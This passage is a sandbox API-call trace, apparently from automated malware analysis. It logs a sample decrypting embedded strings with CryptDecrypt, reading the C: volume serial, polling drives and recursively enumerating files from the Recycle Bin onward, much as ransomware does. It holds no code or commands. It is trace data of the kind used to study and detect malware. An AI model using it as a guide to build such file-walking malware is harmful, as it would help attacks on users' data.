| out: pbData=0x1c5fa0, pdwDataLen=0x34df694) returned 1 [0272.242] CryptDestroyKey (hKey=0x806a58) returned 1 [0272.242] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x90) returned 0x1c7630 [0272.242] CryptImportKey (in: hProv=0x7d5188, pbData=0x34df670, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x34df6d8 | out: phKey=0x34df6d8*=0x806a58) returned 1 [0272.242] CryptSetKeyParam (hKey=0x806a58, dwParam=0x1, pbData=0x34df6c0, dwFlags=0x0) returned 1 [0272.242] CryptDecrypt (in: hKey=0x806a58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1c7630, pdwDataLen=0x34df68c | out: pbData=0x1c7630, pdwDataLen=0x34df68c) returned 1 [0272.242] CryptDestroyKey (hKey=0x806a58) returned 1 [0272.242] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x10) returned 0x1c5fb8 [0272.242] CryptImportKey (in: hProv=0x7d5188, pbData=0x34df668, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x34df6d0 | out: phKey=0x34df6d0*=0x806a58) returned 1 [0272.242] CryptSetKeyParam (hKey=0x806a58, dwParam=0x1, pbData=0x34df6b8, dwFlags=0x0) returned 1 [0272.243] CryptDecrypt (in: hKey=0x806a58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1c5fb8, pdwDataLen=0x34df684 | out: pbData=0x1c5fb8, pdwDataLen=0x34df684) returned 1 [0272.243] CryptDestroyKey (hKey=0x806a58) returned 1 [0272.243] htonl (hostlong=0x9c354b42) returned 0x424b359c [0272.243] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x20, pbBuffer=0x34df798 | out: pbBuffer=0x34df798) returned 1 [0272.243] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x28) returned 0x1c5ed0 [0272.243] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x10) returned 0x1c5fd0 [0272.243] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x4) returned 0x1c5f00 [0272.243] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x14) returned 0x1c5f10 [0272.243] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x10) returned 0x1c5fe8 [0272.243] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x80) returned 0x1c76c8 [0272.243] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x10) returned 0x1c6000 [0272.243] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x82) returned 0x1c6560 [0272.243] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x10) returned 0x1c6018 [0272.243] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x4) returned 0x1cd2e0 [0272.243] CryptGenRandom (in: hProv=0x838f68, dwLen=0x55, pbBuffer=0x34df71a | out: pbBuffer=0x34df71a) returned 1 [0272.243] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x10) returned 0x1c6030 [0272.243] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x80) returned 0x1c65f0 [0272.243] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x10) returned 0x1c6048 [0272.243] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x2) returned 0x1cd2f0 [0272.243] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x4) returned 0x1cd300 [0272.243] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x10) returned 0x1c6060 [0272.243] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x80) returned 0x1cd6c8 [0272.243] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x10) returned 0x1c6078 [0272.243] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x4) returned 0x1cd310 [0272.243] RtlReAllocateHeap (Heap=0x1c0000, Flags=0x0, Ptr=0x1cd2f0, Size=0x82) returned 0x34fa8d0 [0272.243] RtlReAllocateHeap (Heap=0x1c0000, Flags=0x0, Ptr=0x1cd310, Size=0x100) returned 0x34fc8b8 [0272.243] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x10) returned 0x1c6090 [0272.243] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x82) returned 0x34fa960 [0272.243] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x10) returned 0x1c60a8 [0272.243] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x82) returned 0x34fa9f0 [0272.243] RtlReAllocateHeap (Heap=0x1c0000, Flags=0x0, Ptr=0x34fa8d0, Size=0x104) returned 0x34fc9c0 [0272.244] RtlReAllocateHeap (Heap=0x1c0000, Flags=0x0, Ptr=0x34fc8b8, Size=0x200) returned 0x34fcad0 [0272.244] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1cd300 | out: hHeap=0x1c0000) returned 1 [0272.244] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x34fcad0 | out: hHeap=0x1c0000) returned 1 [0272.244] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c6078 | out: hHeap=0x1c0000) returned 1 [0272.244] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c65f0 | out: hHeap=0x1c0000) returned 1 [0272.244] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c6030 | out: hHeap=0x1c0000) returned 1 [0272.244] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1cd6c8 | out: hHeap=0x1c0000) returned 1 [0272.244] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c6060 | out: hHeap=0x1c0000) returned 1 [0272.244] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x34fc9c0 | out: hHeap=0x1c0000) returned 1 [0272.244] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c6048 | out: hHeap=0x1c0000) returned 1 [0272.244] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x34fa960 | out: hHeap=0x1c0000) returned 1 [0272.244] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c6090 | out: hHeap=0x1c0000) returned 1 [0272.245] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x34fa9f0 | out: hHeap=0x1c0000) returned 1 [0272.245] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c60a8 | out: hHeap=0x1c0000) returned 1 [0272.245] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c5f00 | out: hHeap=0x1c0000) returned 1 [0272.245] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c5fd0 | out: hHeap=0x1c0000) returned 1 [0272.245] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c6560 | out: hHeap=0x1c0000) returned 1 [0272.245] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c6000 | out: hHeap=0x1c0000) returned 1 [0272.245] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c76c8 | out: hHeap=0x1c0000) returned 1 [0272.245] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c5fe8 | out: hHeap=0x1c0000) returned 1 [0272.245] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1cd2e0 | out: hHeap=0x1c0000) returned 1 [0272.245] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c6018 | out: hHeap=0x1c0000) returned 1 [0272.245] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c5ed0 | out: hHeap=0x1c0000) returned 1 [0272.245] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c5f10 | out: hHeap=0x1c0000) returned 1 [0272.245] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0xa4) returned 0x1c76c8 [0272.245] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c5f58 | out: hHeap=0x1c0000) returned 1 [0272.245] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c5fa0 | out: hHeap=0x1c0000) returned 1 [0272.245] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c7630 | out: hHeap=0x1c0000) returned 1 [0272.245] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c5fb8 | out: hHeap=0x1c0000) returned 1 [0272.245] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x14) returned 0x1c7778 [0272.245] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0xe) returned 0x1c5fb8 [0272.245] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x1173bdf, lpParameter=0x1c7778, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2b0 [0272.246] CloseHandle (hObject=0x2b0) returned 1 [0272.246] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0xffffffff) Thread: id = 98 os_tid = 0x694 [0272.240] GetLogicalDrives () returned 0x4 [0272.241] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x20) returned 0x1c6360 [0272.241] CryptImportKey (in: hProv=0x7d5188, pbData=0x371fd3c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x371fda4 | out: phKey=0x371fda4*=0x806a58) returned 1 [0272.241] CryptSetKeyParam (hKey=0x806a58, dwParam=0x1, pbData=0x371fd8c, dwFlags=0x0) returned 1 [0272.241] CryptDecrypt (in: hKey=0x806a58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1c6360, pdwDataLen=0x371fd58 | out: pbData=0x1c6360, pdwDataLen=0x371fd58) returned 1 [0272.241] CryptDestroyKey (hKey=0x806a58) returned 1 [0272.241] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x1e) returned 0x1c5ea0 [0272.241] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x1e) returned 0x1c5ec8 [0272.241] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x90) returned 0x1c7630 [0272.241] CryptImportKey (in: hProv=0x7d5188, pbData=0x371fd14, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x371fd7c | out: phKey=0x371fd7c*=0x806a58) returned 1 [0272.241] CryptSetKeyParam (hKey=0x806a58, dwParam=0x1, pbData=0x371fd64, dwFlags=0x0) returned 1 [0272.241] CryptDecrypt (in: hKey=0x806a58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1c7630, pdwDataLen=0x371fd30 | out: pbData=0x1c7630, pdwDataLen=0x371fd30) returned 1 [0272.241] CryptDestroyKey (hKey=0x806a58) returned 1 [0272.241] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c7630 | out: hHeap=0x1c0000) returned 1 [0272.241] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x1c5ea0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0272.241] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c5ec8 | out: hHeap=0x1c0000) returned 1 [0272.241] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c6360 | out: hHeap=0x1c0000) returned 1 [0272.241] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x371fde4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x371fde4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0272.241] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c5ea0 | out: hHeap=0x1c0000) returned 1 [0272.241] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x40) returned 0x1c6360 [0272.241] CryptImportKey (in: hProv=0x7d5188, pbData=0x371fd70, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x371fdd8 | out: phKey=0x371fdd8*=0x806a58) returned 1 [0272.241] CryptSetKeyParam (hKey=0x806a58, dwParam=0x1, pbData=0x371fdc0, dwFlags=0x0) returned 1 [0272.241] CryptDecrypt (in: hKey=0x806a58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1c6360, pdwDataLen=0x371fd8c | out: pbData=0x1c6360, pdwDataLen=0x371fd8c) returned 1 [0272.241] CryptDestroyKey (hKey=0x806a58) returned 1 [0272.241] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x28) returned 0x1c5ea0 [0272.242] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x2b4 [0272.242] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x2b8 [0272.242] GetLogicalDrives () returned 0x4 [0272.242] Sleep (dwMilliseconds=0x3e8) [0273.492] GetLogicalDrives () returned 0x4 [0273.492] Sleep (dwMilliseconds=0x3e8) [0274.551] GetLogicalDrives () returned 0x4 [0274.551] Sleep (dwMilliseconds=0x3e8) [0275.691] GetLogicalDrives () returned 0x4 [0275.691] Sleep (dwMilliseconds=0x3e8) [0276.809] GetLogicalDrives () returned 0x4 [0276.809] Sleep (dwMilliseconds=0x3e8) [0277.844] GetLogicalDrives () returned 0x4 [0277.844] Sleep (dwMilliseconds=0x3e8) Thread: id = 99 os_tid = 0x6b8 [0272.331] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x38) returned 0x1c5ed0 [0272.331] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x18) returned 0x1c5f10 [0272.331] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x2c0 [0272.331] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x2c4 [0272.331] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x2c8 [0272.331] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x10000) returned 0x34fc8b8 [0272.331] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x1, lpStartAddress=0x1173a08, lpParameter=0x385fc30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2cc [0272.333] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x1, lpStartAddress=0x1173a08, lpParameter=0x385fc30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e0 [0272.335] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x10000) returned 0x351c8c8 [0272.335] FindFirstFileW (in: lpFileName="\\\\?\\C:\\*", lpFindFileData=0x385f9a4 | out: lpFindFileData=0x385f9a4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x806a58 [0272.336] GetLastError () returned 0x0 [0272.336] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x214) returned 0x1cd6c8 [0272.337] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75bd0000 [0272.337] GetCurrentThreadId () returned 0x6b8 [0272.337] SetLastError (dwErrCode=0x0) [0272.337] GetLastError () returned 0x0 [0272.337] SetLastError (dwErrCode=0x0) [0272.337] GetLastError () returned 0x0 [0272.337] SetLastError (dwErrCode=0x0) [0272.337] GetLastError () returned 0x0 [0272.337] SetLastError (dwErrCode=0x0) [0272.337] GetLastError () returned 0x0 [0272.337] SetLastError (dwErrCode=0x0) [0272.337] GetLastError () returned 0x0 [0272.337] SetLastError (dwErrCode=0x0) [0272.337] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x10000) returned 0x352c8d0 [0272.338] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$Recycle.Bin\\*", lpFindFileData=0x385f720 | out: lpFindFileData=0x385f720*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName=".", cAlternateFileName="")) returned 0x806ad8 [0272.338] FindNextFileW (in: hFindFile=0x806ad8, lpFindFileData=0x385f720 | out: lpFindFileData=0x385f720*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="..", cAlternateFileName="")) returned 1 [0272.338] FindNextFileW (in: hFindFile=0x806ad8, lpFindFileData=0x385f720 | out: lpFindFileData=0x385f720*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x4c26f720, ftLastAccessTime.dwHighDateTime=0x1d52d08, ftLastWriteTime.dwLowDateTime=0x4c26f720, ftLastWriteTime.dwHighDateTime=0x1d52d08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0272.338] GetLastError () returned 0x0 [0272.338] SetLastError (dwErrCode=0x0) [0272.338] GetLastError () returned 0x0 [0272.338] SetLastError (dwErrCode=0x0) [0272.338] GetLastError () returned 0x0 [0272.339] SetLastError (dwErrCode=0x0) [0272.339] GetLastError () returned 0x0 [0272.339] SetLastError (dwErrCode=0x0) [0272.339] GetLastError () returned 0x0 [0272.339] SetLastError (dwErrCode=0x0) [0272.339] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x10000) returned 0x353c8d8 [0272.339] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x4c26f720, ftLastAccessTime.dwHighDateTime=0x1d52d08, ftLastWriteTime.dwLowDateTime=0x4c26f720, ftLastWriteTime.dwHighDateTime=0x1d52d08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c0000, dwReserved1=0x840fe8, cFileName=".", cAlternateFileName="")) returned 0x806b18 [0272.339] FindNextFileW (in: hFindFile=0x806b18, lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x4c26f720, ftLastAccessTime.dwHighDateTime=0x1d52d08, ftLastWriteTime.dwLowDateTime=0x4c26f720, ftLastWriteTime.dwHighDateTime=0x1d52d08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c0000, dwReserved1=0x840fe8, cFileName="..", cAlternateFileName="")) returned 1 [0272.339] FindNextFileW (in: hFindFile=0x806b18, lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x4c26f720, ftCreationTime.dwHighDateTime=0x1d52d08, ftLastAccessTime.dwLowDateTime=0x4c26f720, ftLastAccessTime.dwHighDateTime=0x1d52d08, ftLastWriteTime.dwLowDateTime=0x4c26f720, ftLastWriteTime.dwHighDateTime=0x1d52d08, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x7c0000, dwReserved1=0x840fe8, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0272.339] GetLastError () returned 0x0 [0272.339] SetLastError (dwErrCode=0x0) [0272.339] GetLastError () returned 0x0 [0272.340] SetLastError (dwErrCode=0x0) [0272.340] GetLastError () returned 0x0 [0272.340] SetLastError (dwErrCode=0x0) [0272.340] GetLastError () returned 0x0 [0272.340] SetLastError (dwErrCode=0x0) [0272.340] GetLastError () returned 0x0 [0272.340] SetLastError (dwErrCode=0x0) [0272.340] GetLastError () returned 0x0 [0272.340] SetLastError (dwErrCode=0x0) [0272.340] GetLastError () returned 0x0 [0272.340] SetLastError (dwErrCode=0x0) [0272.340] GetLastError () returned 0x0 [0272.340] SetLastError (dwErrCode=0x0) [0272.340] GetLastError () returned 0x0 [0272.340] SetLastError (dwErrCode=0x0) [0272.340] GetLastError () returned 0x0 [0272.340] SetLastError (dwErrCode=0x0) [0272.340] GetLastError () returned 0x0 [0272.340] SetLastError (dwErrCode=0x0) [0272.340] GetLastError () returned 0x0 [0272.341] SetLastError (dwErrCode=0x0) [0272.341] GetLastError () returned 0x0 [0272.341] SetLastError (dwErrCode=0x0) [0272.341] GetLastError () returned 0x0 [0272.341] SetLastError (dwErrCode=0x0) [0272.341] GetLastError () returned 0x0 [0272.341] SetLastError (dwErrCode=0x0) [0272.341] GetLastError () returned 0x0 [0272.341] SetLastError (dwErrCode=0x0) [0272.341] GetLastError () returned 0x0 [0272.341] SetLastError (dwErrCode=0x0) [0272.341] GetLastError () returned 0x0 [0272.341] SetLastError (dwErrCode=0x0) [0272.341] GetLastError () returned 0x0 [0272.341] SetLastError (dwErrCode=0x0) [0272.341] GetLastError () returned 0x0 [0272.341] SetLastError (dwErrCode=0x0) [0272.341] GetLastError () returned 0x0 [0272.341] SetLastError (dwErrCode=0x0) [0272.341] GetLastError () returned 0x0 [0272.341] SetLastError (dwErrCode=0x0) [0272.341] GetLastError () returned 0x0 [0272.341] SetLastError (dwErrCode=0x0) [0272.341] GetLastError () returned 0x0 [0272.342] SetLastError (dwErrCode=0x0) [0272.342] GetLastError () returned 0x0 [0272.342] SetLastError (dwErrCode=0x0) [0272.342] GetLastError () returned 0x0 [0272.342] SetLastError (dwErrCode=0x0) [0272.342] GetLastError () returned 0x0 [0272.342] SetLastError (dwErrCode=0x0) [0272.342] GetLastError () returned 0x0 [0272.342] SetLastError (dwErrCode=0x0) [0272.342] GetLastError () returned 0x0 [0272.342] SetLastError (dwErrCode=0x0) [0272.342] GetLastError () returned 0x0 [0272.342] SetLastError (dwErrCode=0x0) [0272.342] GetLastError () returned 0x0 [0272.342] SetLastError (dwErrCode=0x0) [0272.342] GetLastError () returned 0x0 [0272.342] SetLastError (dwErrCode=0x0) [0272.342] GetLastError () returned 0x0 [0272.342] SetLastError (dwErrCode=0x0) [0272.342] GetLastError () returned 0x0 [0272.342] SetLastError (dwErrCode=0x0) [0272.342] GetLastError () returned 0x0 [0272.342] SetLastError (dwErrCode=0x0) [0272.342] GetLastError () returned 0x0 [0272.343] SetLastError (dwErrCode=0x0) [0272.343] GetLastError () returned 0x0 [0272.343] SetLastError (dwErrCode=0x0) [0272.343] GetLastError () returned 0x0 [0272.343] SetLastError (dwErrCode=0x0) [0272.343] GetLastError () returned 0x0 [0272.343] SetLastError (dwErrCode=0x0) [0272.343] GetLastError () returned 0x0 [0272.343] SetLastError (dwErrCode=0x0) [0272.343] GetLastError () returned 0x0 [0272.343] SetLastError (dwErrCode=0x0) [0272.343] GetLastError () returned 0x0 [0272.343] SetLastError (dwErrCode=0x0) [0272.343] GetLastError () returned 0x0 [0272.343] SetLastError (dwErrCode=0x0) [0272.343] GetLastError () returned 0x0 [0272.343] SetLastError (dwErrCode=0x0) [0272.343] GetLastError () returned 0x0 [0272.343] SetLastError (dwErrCode=0x0) [0272.343] GetLastError () returned 0x0 [0272.343] SetLastError (dwErrCode=0x0) [0272.343] GetLastError () returned 0x0 [0272.344] SetLastError (dwErrCode=0x0) [0272.344] GetLastError () returned 0x0 [0272.344] SetLastError (dwErrCode=0x0) [0272.344] GetLastError () returned 0x0 [0272.344] SetLastError (dwErrCode=0x0) [0272.344] GetLastError () returned 0x0 [0272.344] SetLastError (dwErrCode=0x0) [0272.344] GetLastError () returned 0x0 [0272.344] SetLastError (dwErrCode=0x0) [0272.344] GetLastError () returned 0x0 [0272.344] SetLastError (dwErrCode=0x0) [0272.344] GetLastError () returned 0x0 [0272.344] SetLastError (dwErrCode=0x0) [0272.344] GetLastError () returned 0x0 [0272.344] SetLastError (dwErrCode=0x0) [0272.344] GetLastError () returned 0x0 [0272.344] SetLastError (dwErrCode=0x0) [0272.344] GetLastError () returned 0x0 [0272.344] SetLastError (dwErrCode=0x0) [0272.344] GetLastError () returned 0x0 [0272.345] SetLastError (dwErrCode=0x0) [0272.345] GetLastError () returned 0x0 [0272.345] SetLastError (dwErrCode=0x0) [0272.345] GetLastError () returned 0x0 [0272.345] SetLastError (dwErrCode=0x0) [0272.345] GetLastError () returned 0x0 [0272.345] SetLastError (dwErrCode=0x0) [0272.345] GetLastError () returned 0x0 [0272.345] SetLastError (dwErrCode=0x0) [0272.345] GetLastError () returned 0x0 [0272.345] SetLastError (dwErrCode=0x0) [0272.345] GetLastError () returned 0x0 [0272.345] SetLastError (dwErrCode=0x0) [0272.345] GetLastError () returned 0x0 [0272.345] SetLastError (dwErrCode=0x0) [0272.345] GetLastError () returned 0x0 [0272.345] SetLastError (dwErrCode=0x0) [0272.345] GetLastError () returned 0x0 [0272.345] SetLastError (dwErrCode=0x0) [0272.345] GetLastError () returned 0x0 [0272.345] SetLastError (dwErrCode=0x0) [0272.345] GetLastError () returned 0x0 [0272.345] SetLastError (dwErrCode=0x0) [0272.345] GetLastError () returned 0x0 [0272.346] SetLastError (dwErrCode=0x0) [0272.346] GetLastError () returned 0x0 [0272.346] SetLastError (dwErrCode=0x0) [0272.346] GetLastError () returned 0x0 [0272.346] SetLastError (dwErrCode=0x0) [0272.346] GetLastError () returned 0x0 [0272.346] SetLastError (dwErrCode=0x0) [0272.346] GetLastError () returned 0x0 [0272.346] SetLastError (dwErrCode=0x0) [0272.346] GetLastError () returned 0x0 [0272.346] SetLastError (dwErrCode=0x0) [0272.346] GetLastError () returned 0x0 [0272.346] SetLastError (dwErrCode=0x0) [0272.346] GetLastError () returned 0x0 [0272.346] SetLastError (dwErrCode=0x0) [0272.346] GetLastError () returned 0x0 [0272.346] SetLastError (dwErrCode=0x0) [0272.346] GetLastError () returned 0x0 [0272.346] SetLastError (dwErrCode=0x0) [0272.346] GetLastError () returned 0x0 [0272.347] SetLastError (dwErrCode=0x0) [0272.347] GetLastError () returned 0x0 [0272.347] SetLastError (dwErrCode=0x0) [0272.347] GetLastError () returned 0x0 [0272.347] SetLastError (dwErrCode=0x0) [0272.347] GetLastError () returned 0x0 [0272.347] SetLastError (dwErrCode=0x0) [0272.347] GetLastError () returned 0x0 [0272.347] SetLastError (dwErrCode=0x0) [0272.347] GetLastError () returned 0x0 [0272.347] SetLastError (dwErrCode=0x0) [0272.347] GetLastError () returned 0x0 [0272.347] SetLastError (dwErrCode=0x0) [0272.347] GetLastError () returned 0x0 [0272.347] SetLastError (dwErrCode=0x0) [0272.347] GetLastError () returned 0x0 [0272.347] SetLastError (dwErrCode=0x0) [0272.347] GetLastError () returned 0x0 [0272.347] SetLastError (dwErrCode=0x0) [0272.347] GetLastError () returned 0x0 [0272.347] SetLastError (dwErrCode=0x0) [0272.347] GetLastError () returned 0x0 [0272.347] SetLastError (dwErrCode=0x0) [0272.348] GetLastError () returned 0x0 [0272.348] SetLastError (dwErrCode=0x0) [0272.348] GetLastError () returned 0x0 [0272.348] SetLastError (dwErrCode=0x0) [0272.348] GetLastError () returned 0x0 [0272.348] SetLastError (dwErrCode=0x0) [0272.348] GetLastError () returned 0x0 [0272.348] SetLastError (dwErrCode=0x0) [0272.348] GetLastError () returned 0x0 [0272.348] SetLastError (dwErrCode=0x0) [0272.348] GetLastError () returned 0x0 [0272.348] SetLastError (dwErrCode=0x0) [0272.348] GetLastError () returned 0x0 [0272.348] SetLastError (dwErrCode=0x0) [0272.348] GetLastError () returned 0x0 [0272.348] SetLastError (dwErrCode=0x0) [0272.348] GetLastError () returned 0x0 [0272.348] SetLastError (dwErrCode=0x0) [0272.348] GetLastError () returned 0x0 [0272.349] SetLastError (dwErrCode=0x0) 